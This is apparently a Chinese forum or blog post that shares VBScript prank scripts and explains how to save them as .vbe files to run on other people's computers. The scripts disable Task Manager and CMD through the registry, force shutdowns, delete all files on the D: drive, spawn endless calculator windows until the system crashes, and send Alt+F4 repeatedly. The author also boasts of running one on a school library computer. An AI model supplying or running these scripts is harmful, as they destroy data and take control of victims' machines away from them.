set s=createobject('wscript.shell')set bag=getobject('winmgmts:\\.\root\cimv2')set pipe=bag.execquery('select * from win32_process where name='wscript.exe'')For Each id in pipeif instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 thens.regwrite'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr',0,'REG_DWORD's.regwrite'HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD',0,'REG_DWORD'id.terminate()elses.regwrite'HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr',1,'REG_DWORD's.regwrite'HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD',1,'REG_DWORD'for i=1 to 60s.popup'系统将在'& 60-i &'秒后关机...',1,'系统提示',4096+48nextSet colOS = GetObject('winmgmts:{(Shutdown)}').ExecQuery('Select * FROM Win32_OperatingSystem')For Each eOs In colOSeOs.Win32Shutdown(2)Nextend ifNext复制以上代码，在桌面建一个文本，把代码放进去，另存为VBE格式，此代码的威力：1：开机就强制自动关机2：cmd命令打不开3：结束任务不管用4：F8安全模式也不管用呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、代码破解方法：就是再运行一次，就可以破解了，也就是第2次保存的那个VBE文件，，PS：不要乱拿软件去整人，发生什么事可不要怪我啊。。第2种on error resume nextdim WSHshellAset WSHshellA = wscript.createobject('wscript.shell')WSHshellA.run 'cmd.exe /c shutdown -r -t 60 -c ''说你是傻B，我是天下第一大傻B不说宝宝，我是天下第一大傻B就一分钟关你机，不信，试试···'' ',0 ,truedim ado while(a <> '宝宝，我是天下第一大傻B')a = inputbox ('宝宝，我是天下第一大傻B,就不关机，快撒，说 ''宝宝，我是天下第一大傻B'' ','说不说','不说',8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,'MsgBox'loopmsgbox chr(13) + chr(13) + chr(13) + '早说就行了嘛，乖乖'dim WSHshellset WSHshell = wscript.createobject('wscript.shell')WSHshell.run 'cmd.exe /c shutdown -a',0 ,truemsgbox chr(13) + chr(13) + chr(13) + '宝宝是不是又帅啦？？'这代码是我从朋友那拿来的，大家可以试着玩下、你能做非法事情哦、二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈------------------------------------------------------------------------------domsgbox 'You are foolish!'loop------------------------------------------------------------------------------三、打开无数个计算器，直到死机------------------------------------------------------------------------------set wsh=createobject('wscript.shell')dowsh.run 'calc'loop-----------------------------------------------------------------------------四、直接关机--------------------
---------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject('wscript.shell')WSHshell.run 'shutdown -f -s -t 00',0 ,true-----------------------------------------------------------------------------五、删除D:\所有文件---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject('wscript.shell')WSHshell.run 'cmd /c ''del d:\*.* / f /q /s''',0 ,true----------------------------------------------------------------------------六、不断弹出窗口----------------------------------------------------------------------------while(1)msgbox '哈哈 你被耍了！'loop----------------------------------------------------------------------------七、不断按下alt+f4 （开什么都关闭……）---------------------------------------------------------------------------dim WSHshellset WSHshell = wscript.createobject('wscript.shell')while(1)WSHshell.SendKeys '%{F4}'loop---------------------------------------------------------------------------八、按500次回车(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)-----------------------------------------------------------------------------dim sdo until s=500s=s+1msgbox '哥们，给我按500次回车吧',64loop'------------------------ ------------------------------------------------------------九、关不掉的窗口------------------------------------------------------------------------------------WScript.Echo('嘿，谢谢你打开我哦，我等你很久拉！'&TSName)WScript.Echo('你是可爱的小朋吗?')WScript.Echo('哈,我想你拉，这你都不知道吗？')WScript.Echo('怎么才来，说~是不是不关心我')WScript.Echo('哼,我生气拉，等你这么久，心都凉啦。')WScript.Echo('小强很生气，后果很严重哦。')WScript.Echo('嘿嘿！你也会很惨滴哦')WScript.Echo('是不是想清除我？')WScript.Echo('那你要点上50下哦，不过会给你惊喜滴')WScript.Echo('还剩49下，快点点哦')WScript.Echo('还剩48下，快点，小笨蛋！')WScript.Echo('还剩47下对，就这样快点点！')WScript.Echo('还剩46下。你啊就是笨，要快哦，我先不打扰你工作。')WScript.Echo('还剩45下，记得要快哦！')WScript.Echo('还剩43下')WScript.Echo('还剩42下')WScript.Echo('还剩41下')WScript.Echo('还剩40下')WScript.Echo('还剩39下')WScript.Echo('还剩38下')WScript.Echo('还剩37下')WScript.Echo('还剩36下')WScript.Echo('还剩35下')WScript.Echo('还剩34下')WScript.Echo('还剩33下')WScript.Echo('还剩32下')WScript.Echo('还剩30下')WScript.Echo('还剩29下')WScript.Echo('还剩28下')WScript.Echo('还剩27下')WScript.Echo('还剩26下')WScript.Echo('还剩25下')WScript.Echo('还剩24
下')WScript.Echo('还剩23下')WScript.Echo('还剩22下')WScript.Echo('还剩21下')WScript.Echo('还剩20下')WScript.Echo('还剩19下')WScript.Echo('还剩18下')WScript.Echo('还剩17下')WScript.Echo('还剩16下')WScript.Echo('还剩15下')WScript.Echo('还剩14下')WScript.Echo('还剩13下停停！！！慢点，我有话要说')WScript.Echo('还剩12下，你继续点我就会消失滴')WScript.Echo('还剩11下，以后就看不到我拉。555555')WScript.Echo('还剩10下，你现在可以选择停止！')WScript.Echo('还剩9下。你还点啊，不要我拉？')WScript.Echo('还剩8下，有点伤心拉，干嘛丢弃人家')WScript.Echo('还剩7下。疯了，你有点负意！')WScript.Echo('还剩6下。对。你就点吧，我恨你！')WScript.Echo('还剩5下，不明白，删除我你就好吗？')WScript.Echo('还剩4下！真要删除我？')WScript.Echo('还剩3下。可是我真的很眷恋你。。。')WScript.Echo('还剩2下。不要这么绝情嘛，人家是爱你的！')WScript.Echo('还剩1下。哼，既然你这么绝情。也别怪我无义！！！')WScript.Echo('我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')WScript.Echo('想结素我么?那你就再多点一次')懂VBE的可以试试，很好玩的×使用方法，建一个本文文档把你想要的复制进去，另存为，，，把后戳名改成×××.vbe
联系客服
